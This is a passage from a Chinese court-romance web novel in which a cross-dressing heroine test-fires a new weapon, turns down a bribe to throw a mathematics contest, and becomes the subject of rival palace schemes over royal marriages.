她没看过吵架，怎么瞧怎么有趣，凑到两人身边盯着两人的嘴脸。 一边听他们争吵，一边分析他们在吵什么事。 王员外郎见他是个生面孔，正要把人骂走，就见端王金尊玉贵地走过来。 赶紧跪地行礼。 刘大使红着脸行礼。 端王凉凉瞥王员外郎一眼，知道他是皇后的人，有心杀鸡儆猴，故意没让他起身。 只管跟刘大使说：“兵器造好了？” 刘大使爬起来举了举大木盒，“正要给王爷送去。” 端王高兴道：“找个地方试试。” 一行人回到军器局试射场。 王员外除外。 王爷没让他起身，他只能老老实实跪着。 心里忍不住发起狠，他一定要把这事告诉太师，让太师找皇后整治这个端王。 还有那个摄政王！ 刘大使打开木盒，将他花费将近两个月心血的兵器拿出来。 “王爷，您瞧，看看威力够不够。” 唐兮暖眼见着图纸上的兵器变成实物，开心得不得了。 “我看看，我看看。” 她抢着去拿兵器，却被刘大使给拦住，“姑娘小心，这兵器威力太大，容易伤到姑娘。” 唐兮暖惊得睁大眼睛，“你知道我是姑娘？” 刘大使笑道：“姑娘美丽聪慧，虽然是男儿打扮，可是言行举止间都透着女儿家的秀婉明艳，怎么看也不是男子。” 唐兮暖不知道他是怎么看出来的。 不过他是第一个看出她女扮男装的人。 当然楚衍晴除外，因为两人从小一起长大，实在过于熟悉。 “刘大人，你好聪明！” 孙卿兆那么聪明的人都没发现她是女子，看来这个刘大使有过之无不及。 接下来端王先试射了武器。 他按照刘大使的指导，摁下兵器上的机关，就听嗖的一声，一枚钢针比流星和闪电还要迅速射向他瞄好的靶子。 然后就是叮的一声，靶子被穿个大窟窿。 如果靶子换成一个人，不死也得残废。 “好威力！”端王忍不住赞许道。 唐兮暖开心坏了，“给我试试，给我试试。” 端王还不熟悉，不敢胡乱操作，命刘大使教她。 刘大使不太愿意：“这东西威力太大……” 端王笑道：“无妨，这原本就是给她做的，尽管教她，别让她伤到自己。” 刘大使提着小心教给唐兮暖。 不过武器的设计图可是唐兮暖翻新修改的，无需刘大使教她，她便会操作。 且比端王操作的更加熟练，打得更准。 在她连着打出两枚钢针之后，刘大使忍不住夸奖，“姑娘当真聪明。” 小倩比自己被夸了还高兴：“刘大使，你不知道，这图纸可是我家公子画的。” 刘大使简直无法相信。 当年他师父设计出图纸，却怎么都做不出来。 经过一个小姑娘的修改，竟然做出一把如此威力的武器，可见小姑娘有多聪慧。 “不知道寒公子有没有兴趣了解一下其它武器？” 唐兮暖好不容易来一次军器局，自然要玩个尽兴，“好啊，你这里都有什么好玩意，跟我瞧瞧。” 接下来，刘大使带着唐兮暖把他的半成品几乎看了一遍。 “寒公子，你看这个，”他指着一堆铁疙瘩给唐兮暖看，又把图纸递给她，“可惜我试了很多次都不行。” 唐兮暖看完图纸，蹲在铁疙瘩旁边琢磨。 “为什么要用这么重的铁蛋，换成火药多好。” “火药，”刘大使被一个小姑娘轻飘飘的话惊到，“这可是要人命的。” 唐兮暖人畜无害般的笑着，“打仗不就是要人命么。” 刘大使：“……” 一语惊醒梦中人，“寒公子，你可真是太聪明了。” 唐兮暖听人夸聪明，打心眼儿里高兴。 不过这高兴止与一道熟悉的声音传来。 “刘大使呢，给我做件趁手的兵器，三天就要。” 是楚衍诺的声音。 唐兮暖吓了一跳，急忙低下小脑袋，从铁疙瘩旁边悄悄看出去。 楚衍诺距离她不足一丈，只要再走几步，就能看见她了。 第44章 “小倩,快过来。” 她先朝小倩摆手，随后向刘大使做了个噤声的手势。 刘大使表示明白，赶过去迎接楚衍诺。 楚衍诺找不到表妹,打算做持久战，这就要有一件好用的兵器。 今天办完差事，正好顺路来到军器局。 没想到端王也在,他喊完刘大使，向端王行礼。 小倩忽t然看见楚衍诺，吓得大惊失色，急忙跑开躲起来。 这里是军器局试射场地，乱七八糟的兵器还没来得及收拾，她不小心踩到一件，发出叮咣叮咣的响动。 楚衍诺本来没怀疑。 表妹一个傻子，又是个姑娘怎么可能来这种地方。 可他顺着声音发出来的方向瞧过去，就见一个特别熟悉的背影，下意识抬脚去追。 端王怎么可能让他追过去,“楚世子，”他把人拦住,“见到本王也不打声招呼,这是去哪？” 楚衍诺好不容易发现线索，怎么可能放过,他也不管对方是谁，伸手就要推。 端王从小练武,他天赋不高，算不得一流高手，但也不惧楚衍诺。 “楚世子，你放肆,竟敢对本王动手。” 楚衍诺被他缠得心烦，“不放肆也放肆了，容后回来请罪。” 他一门心思要把那个背影抓住。 “表妹——” “表妹——” “表妹，你快出来，我是你表哥，我是表哥啊——” 楚衍诺带人把京城翻过来翻过去好几遍，刘大使怎么可能没听说过。 这会稍微一想就明白怎么回事了。 那么聪明的姑娘竟然是楚世子要找的人，难怪他找不到。 唐兮暖这些日子过得很开心，她已经逐渐忘记过去那些不愉快。 可是表哥的声音仿佛魔咒一般，不停地传入她的耳鼓。 那些委屈的、难过的、伤心的画面一遍又一遍的往她脑海里挤。 此刻她手里握着刚打造出来的兵器瞄着楚衍诺，有那么一刻，她是想按下机关的。 给不了名分却还要她的身子，真心疼爱她，又怎么会对她做这种事。 唐兮暖最终收了兵器。 她没打过人，还是威力这么大的兵器，对方又是从小陪着她长大的表哥。 老死不相往来便罢了，没必要闹得你死我活。 眼看着楚衍诺的脚步走近，她绞尽脑汁想着逃跑办法，端王拦不住疯子一般的楚衍诺，幸好周川行及时出现。 “楚世子，你做什么呢，这里是军器局，不是你发疯的地方！” 楚衍诺不怕端王，一来端王是个老好人，他脾气好，一般不与人计较。 再者武安侯对端王几兄弟有救命之恩。 最重要的是，端王喜欢小妹。 看在小妹的面子，也不好拿自己怎么样。 可摄政王不一样，他带兵十几年，早就练就一副铁石心肠。 关键时刻，别说一个恩人，就是再亲的人，他也下得去杀手。 所以摄政王一出现，楚衍诺立刻收起疯劲，恭恭敬敬赶过去行礼。 “王爷，微臣的表妹……” 周川行不耐烦道：“我不管你什么表妹，江南盐税怎么回事，再查不清楚，你亲自去一趟。” 楚衍诺哪都不想去。 好不容易发现线索，去一趟江南回来，表妹有心躲着他，又不知道去哪里寻找线索了。 “王爷，微臣这就回去核查。” 周川行：“那还不快去。” 楚衍诺极其不甘地回头寻视一眼，有摄政王在，想在这军器局大张旗鼓的搜寻是不可能了。 好在有了线索，只要他多花点心思，总能找到。 楚衍诺带人出了军器局，命两个小厮留下来蹲守。 就不信表妹不出来。 不过他也不是一点收获没有。 表妹和端王一同出现在军器局，就说明，表妹的离开和端王脱不开关系。 又联想到表妹离开侯府时，端王曾经出现在翠竹园附近。 除了他，还能是谁带走了表妹！ 楚衍诺越想越气，傍晚回到侯府立刻派人给小公爷送去消息。 他愿意把小妹嫁给小公爷，且婚期订得越近越好。 小公爷早觊觎楚衍晴，第二天就带着聘礼上门，连婚期都定好了。 一个月内，他要把人娶回家。 楚衍晴听说这事，气得哭了半宿。 梁国公的世子，有名的纨绔，吃喝嫖赌五毒俱全还家暴，前任妻子就是被他打死的。 楚衍晴没想到哥哥对她这么狠，竟然让她嫁给这种人。 这是要她一辈子都不好过。 楚衍诺也不是非把妹妹嫁给这种垃圾，不过他有条件：“你把表妹带回来，我立刻帮你退了这门亲事，否则一个月后你就嫁过去吧。” …… 楚衍诺从军器局离开，唐兮暖才从大铁疙瘩后边跑出来。 “二郎，”她后知后觉拍着胸脯说，“好险，幸亏你来了，否则我被抓到了。” 周川行凉凉瞥了一眼端王，“连个侯府世子你也摆弄不了。” 端王无奈道：“我能怎么办，他是楚三小姐的哥哥。” 周川行好笑道：“人家同意嫁给你了？” 端王：“……” 他自己被扎心，自然也不会让二哥好过。 待唐兮暖和刘大使去讨论武器，他幸灾乐祸般道：“刚才李貔貅找了唐姑娘，两个人说了什么连我都不告诉，你小心点，别被人撬了墙角。” 周川行忽然有些后悔。 他当初答应郑建安，三年后唐家平反后，他再明媒正娶。 为什么非要拘泥于平反后。 现在把人娶回家，有何不可！ 自从端王告诉周川行，小姑娘有了秘密，他一整天都很烦躁。 偏偏小姑娘没有任何要和他坦白的迹象。 是小姑娘不明白要和他坦白的意义，还是小孩子心气，根本没当回事，转身就忘记了。 可他在等小姑娘和他坦白。 他希望两个人之间赤裸、真诚、毫无遮掩。 第二天早饭后，唐兮暖换好男装带着小倩出门。 今天跟她一起出门的是紫苏和连翘。 一行四人很快到了彩月楼。 李貔貅单独把唐兮暖叫到包厢里，小倩和唐兮暖寸步不离，自然跟着一起进的屋。 李貔貅亲自给唐兮暖斟茶，又端过来很多点心水果，然后邀功般的开口：“真是大喜事，有人要再举办一次算学比赛，邀请寒公子参加。” 唐兮暖好奇道：“只是参加就能拿一万两银子？” 当然没有这么简单的事，李貔貅笑道：“只需要你坚持到最后一轮，然后输给一个人，你就能拿到一百万两银子了。” 唐兮暖不明白这其中的道道，“为什么要我输？可是我输不了呢，他万一没我聪明该怎么办？” 李貔貅解释道：“所以需要你故意输，就是故意把最后一道题答错，这样你就能拿到一百万两了。” 唐兮暖还是不明白，她看向小倩。 小倩好像懂又好像不懂。 如果让她输一次就能拿一百万两，她肯定很高兴。 可小姐不是她。 “公子，这事太大了，可得好好想想。” 李貔貅拍了拍手，立刻有人推门抬进一箱白银，“寒公子，只要你答应，这是十万两，等事情结束，另外九十万两立刻奉上。” 白花花的银子铺满整整一箱子。 唐兮暖从来没见过那么多钱。 此刻她两眼都变成了小元宝形。 王府缺银子，这十万两不光能解决二郎很大问题，还能让他稍微休息休息。 这段时间，她几乎每天都出门寻找人才。 可哪里有那么多人才给她碰到。 除了孙卿兆，竟然一无所获。 想帮二郎的心情越来越迫切。 只要她做一次假比赛，立刻就有一百万两白银。 “我需要时间。” 最终唐兮暖纠结着给出答案。 回去的路上，十万两白银一直悬浮在她的脑海里。 她好想好想要银子，可又觉得假装输掉比赛不对。 到底该怎么取舍，她遇到了人生里最难的一个问题。 到了王府，她没回自己的小院，犹豫着来到小勤政殿。 看见周川行坐在书房里批折子，虽然很不想打扰，可她实在没忍住。 “二郎，你陪我说说话好不好？” 小姑娘满脸纠结，似乎遇到了什么大麻烦，周川行放下毛笔，伸手把人拉进怀里。 “怎么了，跟我说说。” 孙卿兆过来汇报工作。 各省参加今年秋天乡试的学子名单已经报上来。 他找出很多问题，过来跟王爷汇报，中途接到别的差事出门处理，回来就看见摄政王怀里坐了一名男子。 这名男子还是他的好友，寒兮。 听说摄政王好男色，没想到他养的男宠竟然是寒兮。 难怪寒兮不在乎官职，有王爷这个大靠山，还要官职做什么。 可做一个男人的宠物，哪如出来做官真正为天下百姓做些实事的好。 …… 唐兮暖不知道怎么跟周川行开口。 她不知道周川行更喜欢一百万两银子，还是她。 如果他想要银子，她却不想牺牲自己的名声，那时怎么办？ 看见孙卿兆进来，笑着从他怀里跳出来。 “二郎，等孙大哥忙完，我能t不能和他聊一会儿？” 周川行知道小姑娘有了秘密。 可她如今成长迅速，他不想成为她的阻碍。 心里憋着口气，仍然大方道：“好。” 不过眼睑垂下，明显有些伤心。 唐兮暖还不会察言观色，可她总觉得周川行眼睑垂下，似乎不太开心。 她明白嘴角上扬是笑。 悲痛会流泪。 生气和愤怒这种很明显的情绪表达，她能很容易的看出来。 可周川行这种轻微的神色变化，她完全无法理解。 “你真同意了？” 周川行点头，勉强弯起嘴角，挤出一丝笑。 唐兮暖放心了，他笑了，说明他很高兴，那就是确确实实同意了。 唐兮暖去隔壁的房间等着，大概一盏茶的时间，孙卿兆走进房间。 “寒老弟……”孙卿兆喊得有些生疏，接下来便不知道说什么好。 唐兮暖还有事情寻求他的意见，“孙大哥，你坐呀，我有事问你。” 孙卿兆也有事问唐兮暖。 实在是不吐不快，“寒老弟，你和摄政王……” 唐兮暖毫不犹豫道：“我想给他名分，他也要给我名分，你觉得是什么关系？” 孙卿兆冒出一身冷汗。 摄政王大权在握，离经叛道倒也罢了，竟然想给一个男人名分。 大周朝，不，是自古以来骇人听闻的大奇闻。 不过大周朝不会在历史上寂寂无名，娶个男王妃有何不可。 那摄政王就做第一个吃螃蟹的人。 只要寒兮愿意，他就想办法堵住这天下悠悠众口。 帮寒兮达成所愿。 “孙大哥，孙大哥，”唐兮暖不知道他在想什么，“我还有事要你帮忙呢，你到底有没有听我说话？”—— 作者有话说：孙卿兆：只要寒兮愿意，我就帮他堵住天下悠悠众口。 周川行：我真谢谢你了！！！ 第45章 “孙大哥,孙大哥，”唐兮暖不知道他在想什么，“我还有事要你帮忙呢,你到底有没有听我说话？” 孙卿兆回过神来，“你说。” 唐兮暖把困惑了大半天的事情讲给孙卿兆。 “李貔貅找我参加比赛，要给我一百万两银子。” 孙卿兆还以为他开玩笑,“你说什么？” 唐兮暖：“他要再组织一次比赛，让我参加，到时候故意输给一个人，然后就给我一百万两银子。” 孙卿兆心眼子多，很快琢磨过味来，“你同意了？” 肯定是有人要借助寒兮的名气。 唐兮暖摇头：“还没有，我跟你说，就是想问问你的意思。” 孙卿兆皱眉：“你为什么不问王爷的意思？” 唐兮暖紧吧着小脸，叹了口气。 “我是想要这些银子的，你不知道,王府是个大空壳子，一百万两能帮他很大的忙。” 摄政王权倾天下,富可敌国,王府怎么可能是个空壳子。 孙卿兆试探道，“寒公子,你不会被骗了吧。” 唐兮暖亲眼看过王府的帐，怎么可能被骗,“朝廷发不出军饷，王爷每个月都要拿出很多很多银子。” 这话孙卿兆没任何怀疑。 早前他没入朝为官，也猜想了朝廷艰难。 自从进入吏部，知道的越多,就越可怕。 皇上不是忽然病倒。 他只不过是从去年开始大部分时间陷入昏迷。 而之前几年就已经有生病的迹象了。 精力不济，肯定疏于朝政，大周朝能撑到今天，已经很不容易。 发不出军饷算什么，再过段时间，连俸禄都可能发不出来。 “这么说，一百万两，确实很有诱惑。” 唐兮暖本来就动心，听了他这话，追问道：“所以，你觉得我该答应是不是？” 孙卿兆沉思片刻，摇头：“你不能答应。” 唐兮暖诧异道：“为什么？” 孙卿兆：“你是大周朝最聪明的人，这块招牌可不止一百万两银子，绝对不能染上任何污渍。” 唐兮暖听不明白，“你这话什么意思？” 孙卿兆逐渐联想到之前唐兮暖要寻找人才的事。 “你想寻找人才是不是为了摄政王？” 唐兮暖点头：“是啊，他每天好累，我都帮不上忙，所以我就想找很多很多人才帮他。” 孙卿兆脑海里逐渐有了成型的办法。 “给我点时间，我会让你如意。” 他如此笃定，唐兮暖烦闷的心情舒服多了，“真的？” 孙卿兆点头：“这人才不是凭空来的，满大街寻找是找不到的。” 唐兮暖又开始紧张：“那怎么办？” 孙卿兆：“寻找人才，不如培养人才，只要能培养出来，就有源源不断的人才供王爷使用，那时你还怕累着他吗，到时候有的是人帮他做事。” 这个主意好，唐兮暖早觉得孙卿兆聪明。 果然三言两语就解决了她的大麻烦。 “那具体怎么做？” 孙卿兆让她别急，“这事得从长计议，还得找准时机，你等我好好谋划，制定出一个完整的计划再说。” 唐兮暖开心了：“那我等你，你快点回去做。” 自从孙卿兆进了隔壁房间，周川行就心神不宁的。 连政事也做不下去了，干脆走出房间透透气。 有心靠近隔壁听听墙根，可怎么说自己也是堂堂摄政王，怎么能做这种偷偷摸摸的事情。 恰好端王过来，瞧着他魂不守舍的样子，玩笑道：“二哥，心情不好？小姑娘有了秘密不愿意告诉你，是不是觉得这里……” 他摸着自己的心口，“很疼？” 周川行的心口确实很疼。 尤其看见小姑娘开开心心的出来。 明明进去的时候还愁眉不展的。 所以，她跟孙卿兆在一起更开心吗？ 他好不容易接到的小姑娘，不可能拱手让人…… “摄政王，微臣有话想和您说。”孙卿兆来到他面前，如是说道。 唐兮暖从屋里出来，和周川行摆摆手，随后嘱咐孙卿兆，“孙大哥我还在等你哦。” 之后蹦蹦跳跳往后宅去了。 周川行一双沉眸越发深邃，他凉凉地瞥了一眼孙卿兆，沉声道：“随我进来。” 按理，孙卿兆不该管王爷和寒兮的私事。 可寒兮是他的贵人，是他的恩人，不能让寒兮受伤。 “王爷，寒兮犹如天上的皎皎明月，不该被任何人玷污。” 周川行竟然被一个花子教训了。 “所以呢？” 孙卿兆深吸一口气，决定豁出去了。 “如果您想娶一个男王妃，微臣定会竭尽所能帮您堵住天下悠悠众口。” 周川行刚抿了口茶，险些喷出去。 端王忍不住捧腹大笑。 “男王妃？” 孙卿兆理解两人有如此奇怪的反应。 “谁规定男人只能娶女人，娶男人为什么就不行，我大周朝就要破这个例。” 周川行颇有些头疼的按了按眉心。 “你和寒公子聊这么久就聊了这点事？” 孙卿兆很自然的说：“那自然不是。” 他强调道：“这是我的心里话，寒公子是大周朝第一聪明人，足可以青史留名，您不能埋没了他的才华。” 周川行还以为两个小年轻谈情说爱呢。 原来孙卿兆对小姑娘并没有那方面的心思。 心口莫名舒畅不少。 “这事就不劳孙侍郎操心了，本王自由打算。” 孙卿兆言尽于此，“是微臣僭越了。” 周川行还是好奇：“你们两个刚才到底说了什么？” 孙卿兆含糊道：“这个，您应该问寒公子，对了，微臣还有差事没有处理好，先告退了。” 他溜得比兔子还快，语毕，急急忙忙退出勤政殿，一溜烟就没影了。 孙卿兆走后，端王笑得越来越放肆。 “二哥，你真要娶个男王妃啊。” 周川行随手抄起本书砸过去，“你还笑。” 晚上入睡前，周川行没忍住，还是询问了小姑娘今天都发生了什么事。 孙卿兆思维太过跳脱，别把他的小姑娘教坏了。 今天有个男王妃，明天会不会有个女丈夫！ 唐兮暖已经做出选择，自然没什么可瞒着他的了。 如实说道：“是李貔貅找我，让我参加比赛，只要我输给一个人，就给我一百万两银子，我不知道怎么做，所以请教了孙卿兆。” 听到一百万两这个数，周川行无比震惊。 “竟然有这种事。” 唐兮暖点头，“我是想要这笔银子的，一百万两，可以帮你支用一年。” 周川行：“……” 没想到小姑娘最先想到的竟然是他。 心底最后那一点不舒服也烟消云散了。 果然是他看中的姑娘。 唐兮暖继续说：“可是孙卿兆说，我的招牌不止值一百万两银子，不能答应他们。” 这个想法，周川行完全赞同。 他的姑娘，t是天底下最聪明的姑娘，怎么能因为一百万两而卖掉自己的名声。 “除了孙卿兆所言，你自己的想法呢？” 唐兮暖也不是没仔细想过这事。 “我觉得……作假不好，谁应该得第一就该谁得。” 小姑娘思想通透，周川行满脸赞许的揉了揉她的小脑袋。 “你做的是对的。” 被人夸奖当然开心了，唐兮暖眨了眨乌黑水灵的大眼睛，“有奖励吗？” 周川行纵容道：“想要什么奖励？” 唐兮暖盯着他好看的薄唇，点了点自己的，“想要亲亲。” 周川行没主动亲过人。 况且小姑娘和普通人不一样，他总觉得小姑娘还小。 他不能禽兽不如。 可此刻，小姑娘主动邀请，他应该……可以亲吧。 他盯着小姑娘嫣红的唇瓣，心口翻涌，体内的洪荒之力忽然爆发。 他慢慢凑近小姑娘，轻轻在她唇瓣上啄了一下，快速退开。 唐兮暖红了脸颊。 不过她眼里只有周川行，“二郎，你脸红了。” 周川行心跳如鼓，胡乱揉了一下她的小脑袋，“你早点休息，”便仓皇逃出小姑娘的闺房。 他站在门口平静好一会儿，待脸上的热意退下，心跳也归于平静这才回了自己的卧室。 如果能早点成亲，哪怕什么都不做，只要每天晚上看着入睡，清晨睁开眼就是小姑娘的盛世容颜，也是好的。 他确定自己等不及三年了。 一年，一年内成亲，他风风光光的把人娶回来。 这是他的忍耐极限。 可两人中间千难险阻，哪是那么容易的。 既然不容易，那就从今夜开始筹谋。 周川行开始筹谋婚事的时候，宫里两位女人也在帮他筹谋。 一位是睿王的生母德太妃，一位是中宫之主，当今皇后。 楚衍晴定下婚事第二天，睿王一大早赶进宫。 “母妃，楚世子把楚三小姐定给梁国公的世子了。” 德太妃皱眉，“楚家倒是快。” 睿王生气道：“二哥这块木头，他那么喜欢楚三小姐，竟然一点行动都没有，母妃，你可得帮他加把火。” 德太妃让儿子放心，“我这就去凤藻宫走一趟。” 睿王催促道：“您这就去，万一让楚三小姐嫁给梁世子，咱们离间二哥和皇后可就难了，如今皇后和太师一党全都支持二哥，只有彻底离间他们，儿子才有机会。” 德太妃当然明白，“放心吧，母妃知道怎么做。” 他关心儿子所筹谋之事，“那个什么彩月楼比赛的事怎么着了？” 睿王有些烦躁，“寒兮不同意做假，这事多半不成。” 德太妃担心道：“那你舅舅的尚书之位……” 睿王已经想到了别的办法，“母妃，您放心，我舅舅这个尚书当定了。” 他原本的计划是，再举办一场假比赛，让他舅舅参加，只要打败了寒兮，就可以名正言顺的举荐为吏部尚书。 孙卿兆和姚麟两个无名无分的还没打败寒兮都能封四品侍郎和六品员外郎。 那打败寒兮的，封个尚书不过份吧。 可谁知到寒兮面对一百万两银子无动于衷，竟然拒绝了。 他就不信寒兮不参加，他就没别的办法。 昨天晚上他已经找过楚衍诺，打算由朝廷官员出面，重新举办一场算学大赛。 楚衍晴都能获得第三名，她的哥哥肯定不会差。 楚衍诺也已经答应。 睿王离开后，德太妃去了皇后寝宫。 皇后正和朝栎公闲话家常。 “朝栎，你也老大不小了，到了议亲的年纪。 父母不在了，我这个长嫂自然要为你张罗，你跟皇嫂说说，有没有看中的青年公子，皇嫂给你做主。” 朝栎一边跟皇后聊天，一边逗弄五岁的小侄女，她很喜欢这个小侄女，每天都要过来找她玩。 提到议亲，难免有些羞涩。 “皇嫂，我还不急，二哥三哥都没定亲，我比他们还小，急什么。” 皇后叹了口气。 “说到他们两个，你三哥还好，从小长在京城，没少接触京城贵女，要定亲心里也有个谱。 你二哥就不一样了，这久不在京城，接触的都是军中汉子，我真担心他……不喜欢女子。” 最近她时不时就会听到一些风言风语，摄政王喜欢男子。 张太医还是亲眼所见，王府里现在就养着一个唇红齿白的少年郎—— 作者有话说：孙卿兆：如果寒兮想要娶个女子，我也能帮她堵住悠悠众口！ 凭什么女人只能嫁男人！ 第46章 皇后温柔端庄,容貌秀美清丽，一身锦衣华服，举手投足间都是中宫主母的凤仪。 发现朝栎对自己的亲事不上心,打算替她做主。 “再有几天就是乞巧节了，皇嫂打算在宫里举办一场盛宴，邀请所有没订婚的适龄贵女和世家子弟参加,到时候必须给你和你两个哥哥把婚事定下来。” 朝栎有自己的想法，不过她是不会明着忤逆皇后的。 “皇嫂做主便是。” 两人正聊着亲事，听说德太妃上门，皇后命宫女将女儿带出去，她则等着太妃进门。 “多日没见太妃了，身体怎么样？” 皇后面对这位长辈，没什么架子，极其热情请人就坐，又命宫女上茶。 德太妃随便聊了几句闲话，之后便叹起气来。 “唉,皇后娘娘，我前几天就要来找你替人说和,一直没拉下脸。” 久居中宫的人,自然不是等闲之辈。 皇后岂能不知道德太妃话里有话。 “太妃有什么事尽管开口。” 德太妃这才一副不得不说的神色开口。 “也是受老二所托，说是看上了楚家的三小姐,拜托我帮忙提亲，这么大的事,我哪好做主，到底是睿儿的亲哥哥，我又不好拒绝。 这楚三小姐确实是个美丽聪慧的，也难怪老二喜欢,就是我也喜欢的紧，如果不是睿儿已经定亲，我肯定要说给睿儿的。” “我二哥喜欢楚三小姐？”朝栎不合时宜的问道。 德太妃温婉的笑着：“可不是，听说楚三小姐参加彩月楼的大赛，一向不近女色的人，竟然连着两天过去瞧热闹，如果不是喜欢楚三小姐，总不能是喜欢男人吧。” 朝栎心里憋着口气。 就知道德太妃不做人。 “是么，原来我二哥喜欢三小姐。” 皇后脸色变得极其不好。 当年唐御史弹劾她父亲，要不是他父亲提前得到消息，反将一军，被满门抄斩的可就是他们王家了。 虽然这事和楚家无关，可侯夫人是唐家人。 谁知道她有没有存着为唐家报仇的心思。 这些年王家一直压着楚家，就担心侯夫人报复。 如果武安侯不是皇上的救命恩人，早把楚家一起处理了。 今天听说摄政王喜欢楚三小姐，心里警铃大响。 他绝对不会同意这门亲事。 “德太妃，听说楚三小姐已经定了梁国公府，老二怕是要错过了。” 德太妃轻飘飘的说道：“这怕什么，只是口头协议，还没成亲，老二喜欢，您下一道懿旨，梁家还敢违背您的懿旨怎么着。” 朝栎没想到她才几天没出门，楚衍晴就定亲了。 从来没听说对方喜欢小公爷，她得亲自问问怎么回事。 如果二哥喜欢楚三小姐，她肯定要全力促成。 …… 参加乡试的学子还要一段时间才会进京。 孙卿兆的培养人才方案也没做好。 唐兮暖这段时间无事，打算每天带小倩和侍卫出门逛逛。 没准运气好就遇到人才了呢。 今天吃完药，她换好男装出门。 意外在大门口遇到朝栎。 两个人只在宫里近距离见过一次，那时唐兮暖还是女装。 之后在彩月楼倒是见过几次，可两人离着远，谁也没仔细打量过对方。 今天相见，唐兮暖自然一眼认出朝栎。 可朝栎却没认出唐兮暖。 听说二哥养了男宠，这位小公子唇红齿白，长得极其俊美，难道这就是二哥的男宠？ 唐兮暖不知道朝栎在想什么，略微点了点头便坐马车出了王府。 朝栎满腹心事往院里走，没注意撞到端王身上。 “三哥？” 端王无语道：“你心不在焉想什么呢？” 朝栎意有所指的问道：“刚出去那位公子是谁？” 端王笑道：“别问，问也没人说，以后自然会知道。” 朝栎也没心情管这个，“对了，德太妃今早找皇后，说是二哥托她说亲，让皇后下懿旨，我看皇后脸色很不好，得告诉二哥小心着点。” 两人话没说完，周川行来到朝栎身侧，“皇嫂什么意思？” 朝栎只看到一些表面的，“皇嫂肯定不高兴，这些年一直防着楚家，肯定不会让你娶楚三小姐就是了，t皇嫂还要在乞巧节举办宴会，邀请京城贵女、公子进宫，给咱们三个说亲。” 朝栎是端王亲手带大的，如兄如父，关键时刻，他只关心小妹的婚事。 “朝栎，你自己什么想法？” 朝栎有些难为情，她先看了一眼周川行。 “我没要求，只要能帮二哥的就行。” 皇上病重，皇位早晚要传给哪个哥哥。 朝栎一心要二哥做皇上，自己帮不上忙，便想着找个能帮助二哥的夫家。 周川行怎么可能不感动。 他使劲戳了一下朝栎的额头。 “我不用你操心，你找个合心意的我就放心了。” 接下来端王给周川行分析了几个比较有前途人品也不错的青年才俊。 其中就包括魏敏娴的哥哥，魏敏昭，也是帮助楚衍诺找表妹的人。 周川行皱眉问道：“魏敏昭去禁军报道了吗？” 端王摇了摇头：“说是病了，没去。” 周川行嗤了一声，吩咐陶罐，“派人通知魏敏昭下午来王府，就算真生病了，抬也给我抬来。” 魏国公骁勇善战，在周川行之前是统帅三军的大将军。 后来因为陷入党争，被皇上忌惮。 周川行任命大将军后，他卸职回京城养老。 现在还不到六十岁。 在军中经营三十余载，如今振臂一呼，仍然有很多人争相竟从。 否则楚衍诺也不会非要求娶魏国公的姑娘。 如今周川行也盯上了魏国公的人。 他见过魏敏昭几回，有勇有谋，才堪大用。 当然，他不会逼着妹妹尚驸马，这种事得两情相悦才行。 朝栎还有事要和端王说：“对了，楚世子给三小姐定下亲事了，是梁国公的儿子。” 端王还没听说这事，他眉头一皱，颇有些烦躁道：“她定不定亲和我什么关系。” 朝栎又看向周川行，“二哥，也和你没关系吗？今早德太妃找了皇后，说是你拜托她帮你提亲呢，还让皇后下懿旨，把楚三小姐定给你。” 周川行不想讨论这些琐事，他把李貔貅找唐兮暖做假比赛的事情跟端王说了。 端王想也不想的说道：“肯定是老四干的好事，他舅舅盯着吏部尚书的位置很久了，肯定想通过比赛给他舅舅造势，到时候他就可以找人光明正大的举荐。 孙卿兆一个花子都能做吏部侍郎，那他舅舅做个吏部尚书也没什么不可以。” 周川行好笑道：“他可真敢想。” 兄妹几个正聊着天，宫里来人请周川行进宫。 朝栎联系今早的事情，“皇后找你肯定是因为亲事。” 端王不放心，“二哥，我跟你一起去，这皇城里道道多，别被人算计了。” 皇后找周川行，确实是因为他的亲事。 刚才太师进宫，告了周川行一状。 工部王员外郎昨天在军器局受气，直接告到太师府，他不提自己的问题，只管搅弄是非。 王太师虽然不至于被他三言两语蛊惑，但也早有感觉，摄政王越来越脱离他的掌控。 如今女儿是皇后，还有人认他这个太师。 可万一摄政王继位，一朝天子一朝臣，还有他这个太师什么事。 为保住一家人的荣华富贵，他必须想办法控制住摄政王，联姻自然是最简单最有效的办法。 幸好他还有一个小女儿，去岁死了未婚夫，正好提给摄政王。 周川行很快来到凤藻宫。 皇后作为长嫂，先嘘寒问暖一番，之后才提到他的婚事。 “刚才德太妃过来，说是你看中了楚家三小姐，皇嫂虽然很喜欢这个姑娘，可楚家人丁单薄，对你并没助益，二弟如今管着朝政，眼光还是要放长远些。” 皇上封后的时候，周川行远在边关，还是去年回京才见面。 不过相处一年多，并没有多少了解。 此刻，他人倒是恭敬，“皇兄生病，长嫂如母，川行的婚事全凭皇嫂做主。” 端王没想到他二哥这么轻易就把自己的终身大事委托出去了。 当即就要阻拦，却收到二哥一个冷刀子眼，只能闭上嘴。 皇后也没想到杀伐果断人人惧怕的摄政王这么听话，心情舒畅许多。 “既然川行愿意听我这个皇嫂的，那这事皇嫂帮你张罗，楚家的姑娘就别提了……” 周川行有意打断她：“皇嫂，楚家姑娘人美心善，是做王妃的不二选。” 皇后刚顺畅的心情又被堵上了，“川行，本宫久居京城，比你了解楚家姑娘，看着聪明，其实担不起大事，你还是再考虑别的姑娘吧。” 周川行沉思片刻，点了点头：“皇嫂做主就好。” 皇后这下高兴了，“既然你让皇嫂做主，那皇嫂就帮你谋划一个，原本是打算乞巧节再定的，可你年纪也不小了，婚姻大事宜早不宜迟。 正好皇嫂的妹妹到了议亲的年纪，过年的时候你还见过，人漂亮又懂事，足以担得起你摄政王府当家主母的重任。 川行，你觉得怎么样？” 端王觉得不怎么样。 皇后的妹妹美是美，可刁钻任性，蠢笨如猪。 他背九九表花了半个月。 换她来背，一年也未必背下来。 而且她已经定过夫家，刚要过门未婚夫出去打猎被野猪撞死了。 她哭着喊着求太师退了亲事。 刚消停一年，这就打上他二哥的主意。 太师想要两个女儿都做皇后，野心可不小。 端王肯定，他二哥绝对不会同意。 只是不知道他这个狠辣的二哥会怎么拒绝皇后。 “皇嫂看中的肯定是好的，”周川行在端王瞪大眼珠子也想不到的神色下缓缓开口，“川行的亲事，皇嫂做主便是。” 端王：“……” 他二哥不是中邪了吧。 别说王家小姐入不了他二哥的眼，就算勉强入眼，那王家一门两后，还不得飞上天。 二哥真甘心被王家拿捏控制？ “二哥，你说的可是真话？” 